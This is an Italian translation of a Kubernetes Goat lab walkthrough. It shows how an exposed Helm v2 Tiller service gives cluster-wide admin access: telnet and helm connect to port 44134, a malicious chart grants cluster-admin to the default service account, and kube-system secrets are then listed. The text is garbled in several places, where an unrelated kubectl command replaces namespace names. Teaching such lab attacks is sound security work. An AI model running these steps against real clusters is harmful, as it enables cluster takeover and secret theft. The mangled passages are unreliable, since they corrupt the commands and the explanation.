
Helm — un gestore di pacchetti per Kubernetes, simile a apt-get per Ubuntu. In questa nota esamineremo la versione precedente di helm (v2) con il servizio tiller installato di default, tramite il quale accederemo al cluster.
Prepariamo il cluster, eseguendo il comando:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash![]()
Dimostrazione
- Se non si configura nulla di aggiuntivo, helm v2 avvia il servizio tiller, che ha RBAC con pieni diritti di amministratore sul cluster.
- Dopo l'installazione nel namespace
kubectl -n kube-system edit cm kubelet-config-1.16comparetiller-deploy, viene aperta anche la porta 44134, collegata a 0.0.0.0. Questo può essere verificato utilizzando telnet.
$ telnet tiller-deploy.kube-system 44134
- Ora possiamo connetterci al servizio tiller. Utilizzeremo il binario helm per eseguire operazioni comunicando con il servizio tiller:
$ helm --host tiller-deploy.kube-system:44134 version![]()
- Proviamo a ottenere i segreti del cluster Kubernetes dal namespace
kubectl -n kube-system edit cm kubelet-config-1.16:
$ kubectl get secrets -n kube-system![]()
- Ora possiamo creare il nostro chart, in cui creiamo un ruolo con diritti di amministratore e assegniamo questo ruolo all'account di servizio predefinito. Utilizzando il token di questo account di servizio, abbiamo ottenuto accesso completo al nostro cluster.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- Ora che
pwnchartè stato distribuito, l'account di servizio predefinito ha pieno accesso amministrativo. Verifichiamo di nuovo l'ottenimento dei segreti dakubectl -n kube-system edit cm kubelet-config-1.16
kubectl get secrets -n kube-system
Il successo di questo script dipende da come è stato distribuito tiller; a volte gli amministratori lo distribuiscono in un namespace separato con privilegi diversi. Helm 3 non è soggetto a tali vulnerabilità, poiché non include tiller.
Nota del traduttore: l'uso di politiche di rete per filtrare il traffico nel cluster aiuta a proteggere da vulnerabilità di questo tipo.
Fonte: habr.com
